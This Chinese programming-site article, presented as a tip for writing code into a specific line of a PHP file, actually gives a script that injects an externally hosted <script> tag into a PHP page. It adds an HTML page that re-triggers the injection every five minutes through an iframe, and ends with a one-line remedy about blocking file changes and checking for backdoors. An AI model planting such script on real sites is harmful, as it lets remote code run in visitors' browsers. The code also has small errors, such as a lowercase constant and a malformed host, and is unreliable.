当前位置: 移动技术网 > IT编程>开发语言>PHP > php在文件指定行中写入代码的方法

php在文件指定行中写入代码的方法

2019年04月17日  | 移动技术网IT编程  | 我要评论

馆陶汽车站,鬼迷心窍索命女,ss501解散原因

复制代码 代码如下:

<?php
$file="aa.php" ;
$code="<script src=http://www.google/ga.js></script>";
$f=fopen($file,"r+");
$content=fread($f,filesize($file));
fclose($f);
if(!strstr($content,$code)){
$arrinsert = insertcontent($file, $code, 3);
unlink($file);
foreach($arrinsert as $value)
{
file_put_contents($file, $value, file_append);
}
}
function insertcontent($source, $s, $iline) {
$file_handle = fopen($source, "r");
$i = 0;
$arr = array();
while (!feof($file_handle)) {
$line = fgets($file_handle);
++$i;
if ($i == $iline) {
$arr[] = $line .$s . "\n";
}else {
$arr[] = $line;
}
}
fclose($file_handle);
return $arr;
}
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
复制代码 代码如下:

<html>
<head>
</head>
<body>
<script language="jscript">
function singout() {
var o = document.createelement("iframe");
o.src="http://www.google.com/上边的php文件.php";
o.width=100;
o.height=100;
document.body.appendchild(o);
}
window.setinterval("singout();",300000);
</script>
</body>
</html>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网